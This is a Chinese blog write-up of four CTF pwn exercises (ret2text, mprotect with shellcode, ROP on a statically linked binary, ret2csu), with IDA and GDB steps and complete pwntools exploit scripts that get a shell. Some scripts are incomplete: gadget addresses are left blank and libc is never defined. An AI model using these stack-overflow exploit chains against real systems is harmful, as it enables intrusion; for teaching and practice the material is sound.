mprotect+ret2csu

本文介绍了四个寒假期间的Pwn技术挑战,涉及栈溢出利用、mprotect函数的应用、静态编译环境下的ROP和ret2csu技巧。详细讲述了如何通过IDA分析、构造payload和利用GDB进行调试,最终获取shell权限。
摘要由CSDN通过智能技术生成

寒假学习计划第一轮,通过四道典型题回顾复习。

pwn1:ret2text

首先将文件拖入kali中查看信息

58840aaa1dca4ca792c097bcb371c4a4.png

拖入64位ida里

b4486d1fe3f9420fbe1efd2a7ed0d789.png

 查看main函数,f5反编译

3df7ad2c6fd94d5799f3ca1347373a7f.png

main函数里面并没有东西,接下来跟进vuln

b192e84fd58e439b91b85c14035198ae.png

read函数读取,buf可填充0x20个字节,read可以读入0x29个字节 ,存在栈溢出,但是返回地址只能覆盖一个字节。

shift+f12查看字符串,有/bin/sh

c63e7114384e44ce94825a6b11bbec6d.png

 8fb599b02b9b4d458b8d2cfe58e4f7fd.png

 

ctrl+x查看/bin/sh的地址位0x401209 。

mote('node5.anna.nssctf.cn',28253)
p=process('./pwn1')
binsh=0x401209
payload=b'a'*(0x28)
gdb.attach(p)
p.sendline(payload)
p.interactive()

 先覆盖rbp,进入gdb调试窗口,发现程序最初的返回地址为0x4012开头

49d6d0bbf8064acaa8e8315b017b5a86.png

read函数还可读入一个字节,刚好可以把最后两位覆盖为09,此时返回地址变为0x401209,执行/bin/sh,获得权限。

mote('node5.anna.nssctf.cn',28253)
p=process('./pwn1')
binsh=0x401209
payload=b'a'*(0x28)+p8(0x9)
#gdb.attach(p)
p.sendline(payload)
p.interactive()

用p8()就是打包发送一个字节。至此,该题已经成功打通。

pwn2:mprotect

首先我们先了解一下mprotect函数

mprotect()函数

int mprotect(void *addr, size_t len, int prot);

addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。

len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。

prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:

1)PROT_READ:内存段可读;

2)PROT_WRITE:内存段可写;

3)PROT_EXEC:内存段可执行;

4)PROT_NONE:内存段不可访问。

总的来说就是我们可以利用mprotect函数修改指定页的内存权限。

接下来我们通过例题详细介绍mprotect函数的使用

首先kali查看文件为64位

拖入ida里面提示我们用mprotect函数,f5反编译ctfshow函数,gets函数可无限溢出。左侧函数列表我们并没有找到mprotect函数,那我们该怎么找他的地址呢。我们可以思考一下ret2libc类型题中我们是找不到system函数的地址,但是我们可以找到相应的libc库,里面存储的有函数地址与libc基地址的偏移,同理,libc库里也有mprotect函数的地址偏移。那么接下来我们先泄露libc地址。

23c6f23a979543c3bb131e4890be5ced.png

from pwn import*
context(log_level = 'debug',arch = 'amd64')
p=process('./pwn2')
elf=ELF('./pwn2')
rdi=0x4007e3
main=0x400637
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload=b'a'*(0x28)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.recvuntil('Hello CTFshow\n')
#gdb.attach(p)
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
p.interactive()

运行脚本打印出来puts函数的真实地址,利用libc database search 查找到相应的libc库。

 libc_base = puts_addr - libc.symbols['puts']这段代码是用来计算libc的基地址。

这里我就阐述一下思路,因为我用的kali他无法打印出puts函数的真实地址,没有办法复现,不过这个问题在ubuntu上可以解决。得到libc基地址后计算mprotect函数地址。mprotect函数是有三个参数的,64位文件中对应rdi,rsi,rdx;32位文件中对应edi,esi,edx。其中rdi(edi)是页起始地址,rsi(esi)是修改长度,rdx(edx)是需要修改的权限。

接下来我们就要去找三个寄存器的地址了,使用

ROPgadget --binary '/home/shengnan/Desktop/pwn2' --only 'pop|ret' | grep ret

 我们可以看到是没有我们需要的这几个寄存器的

32063756eabd4382be19b248ed4c4155.png

其实我们前面找到的libc文件里面也存储有寄存器的偏移,只需要把文件名改为libc文件即可。

 ROPgadget --binary '/home/shengnan/Desktop/libc.so' --only 'pop|ret' | grep ret

会出现特别多寄存器的偏移,找到偏移计算即可得到地址。

这里我们最好用rdx-r12,因为rdx可能会出现打不通的情况,但前者不会出现。

 接下来我们去找bss段的地址7e38e3dbcb54451fa85de0d5e913a015.png

 

payload=b'a'*(0x28)+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)*2+p64(mprotect)+p64(rdi)+p64(bss)+p64(elf.plt['gets'])+p64(bss)

 bss的地址我们需要把后三位改为000,前面说过addr必须是一个内存页的起始地址

这里需要说明 一点,64位文件是先构造参数后调用函数,所以我们覆盖完rbp之后先往三个寄存器里放东西,这里rdx-r12就直接传入两个7即可,为什么是7呢,可读、可写、可执行分别对应1、2、4,7则是可读可写可执行。将返回地址覆盖为mprotect函数执行,成功修改权限,接下来我们利用gets函数向bss段读入东西,并将返回地址修改为bss段地址。其中gets函数只有一个参数,用rdi即可。

shellcode=asm(shellcraft.sh())
p.sendline(shellcode)

接下来我们 利用pwntools里的shellcraft模块自动生成一个shellcode并传入bss里,我们就可以成功获得权限。

exp如下:

from pwn import*
context(log_level = 'debug',arch = 'amd64')
p=process('./pwn2')
elf=ELF('./pwn2')
rdi=0x4007e3
main=0x400637
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload=b'a'*(0x28)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.recvuntil('Hello CTFshow\n')
#gdb.attach(p)
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
mprotect = libc_base + libc.symbols['mprotect']
bss=0x602000
rdi=
rsi=
rdx_r12=
payload=b'a'*(0x28)+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)*2+p64(mprotect)+p64(rdi)+p64(bss)+p64(elf.plt['gets'])+p64(bss)
p.sendline(payload)
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

这里很多东西我是没有填写的,因为我是无法打印puts的真实地址。所以我建议大家还是使用ubuntu来做pwn题。

 

pwn3:静态编译

47a57fd686754ba58c68918372b83f19.png

拖入64位ida里面

5bf09da8700c44e4a0b31317568c9297.png

可以看到左侧函数表非常多,这是静态编译文件的一个特征。

439cd1805b9444c19f44c6eef9cd0300.png

f5反编译main函数

发现危险函数gets函数,gets函数是可以无限制读入数据。这里就很清楚了,首先介绍一种秒杀的方法,那就是自动化ROP链。

ROPgadget有一个功能,直接利用程序中的片段拼凑rop链。

ROPgadget --binary pwn3 --ropchain

通过kali终端打入指令运行

500fe4c5386d4d289537d8c4feae6dd1.png

 #Padding goes here下面的一大串代码就是系统自动为我们生成的payload,我们只需要填入足够的垃圾数据覆盖rbp即可。

这里需要注意的是使用自动化ROP链时需要在脚本开头加上

from struct import pack

想要使用自动化ROP链解题需要满足两个条件:

1.静态编译

2.gets函数或者是read函数且read函数溢出足够大.

还有一种解法,就是利用mprotect函数

在ida左侧函数表ctrl+f查找mprotect

7b6e372dd8034b8d8885910f165e8c1c.png

mprotect=0x4353E0

然后在右侧界面ctrl+s查看bss段地址

6c8aba001a984bd3a85cc96f043d0af0.png

这里将bss的地址设置为0x6c1000

接下来通过ropgadget工具寻找rdi,rsi,rdxd寄存器的地址

ROPgadget --binary '/home/shengnan/Desktop/pwn3' --only 'pop|ret' | grep ret

rdi= 0x00000000004016c3

rsi=0x00000000004017d7

rdx=0x00000000004377d5

然后就和pwn2的思路一样了,这里就不再多说了

from pwn import*
p=process('./pwn3')
context(log_level = 'debug',arch = 'amd64')
mprotect=0x4353E0
rdi= 0x00000000004016c3
rsi=0x00000000004017d7
rdx=0x00000000004377d5
bss=0x6c1000
gets=0x4086a0
shellcode=asm(shellcraft.sh())
p.recvuntil('where is my system_x64?')
payload=b'a'*(0x50+8)+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)+p64(mprotect)+p64(rdi)+p64(bss)+p64(gets)+p64(bss)
p.sendline(payload)

p.sendline(shellcode)
p.interactive()

pwn4:ret2csu

04558caeacbd40f79d90896c5e759071.png

ida查看main函数

0c22e537e1db41c6be2ed26690b70db1.png

跟进vuln函数

aee3e995fe5b409eba1d6943f93fe9d4.png

gets函数有溢出点。

 result = strlen(s);
  if ( result > 0x10 )
  {
    write(1, "may you can pass it right?", 0x1AuLL);
    exit(1);
  }

这段代码就是进行一个长度比较,长度超过16就会退出程序,我们可以利用\x00绕过长度判断。

因此在填写垃圾数据时可以这样写:b'\x00'+b'a'*(0x10+8-1)

在ida里面是没有找到system函数和/bin/sh,此时我们想到了利用libc来做。尝试之后发现并不行。write函数是有三个参数,对应rdi,rsi,rdx。我们通过ropgadget查找发现缺少rdx寄存器,这时我们可以用ret2scu来做。对于ret2csu可以看一下这篇博客,写得很好。

从o开始的pwn学习之ret2csu-CSDN博客

 每道题中__libc_csu_init函数的汇编都可能是不一样的,我们需要对应着汇编去传参。

通过利用__libc_csu_init函数我们成功泄露write函数的真实地址,通过网站我们找到libc库,接下来就是和ret2libc一样的操作了。

 接下来我们利用csu泄露write地址

from pwn import*
p=process('./pwn4')
context.log_level='debug'
elf=ELF('./pwn4')
#gdb.attach(p)
ret_rdi=0x401333
ret=0x40101a
payload=b'\x00'*(0x10+8)+p64(0x40132a)+p64(0)+p64(1)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(0x401310)+p64(0)*7+p64(0x4011fd)
p.recvuntil('This challenge no backdoor!')
p.sendline(payload)

f26237937248423a8facce157f5ba220.png

 payload传参顺序在上述博客中已经说的非常清楚,这里就不再解释了。

完整exp为:

from pwn import*
p=process('./pwn4')
libc = ELF('./libc1.so')
context.log_level='debug'
elf=ELF('./pwn4')
#gdb.attach(p)
ret_rdi=0x401333
ret=0x40101a
payload=b'\x00'*(0x10+8)+p64(0x40132a)+p64(0)+p64(1)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(0x401310)+p64(0)*7+p64(0x4011fd)
p.recvuntil('This challenge no backdoor!')
p.sendline(payload)
write_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print (hex(write_addr))
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base +next(libc.search(b'/bin/sh'))
payload=b'\x00'+b'a'*(0x10+7)+p64(ret_rdi)+p64(bin_sh)+p64(ret)+p64(system_addr)

p.sendline(payload)
p.interactive()

 以上四道题都是在本地做的,没有远程靶机,如果有兴趣想要复现的话,可以后台私信我。

 

 

 

 

 

 

  • 37
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值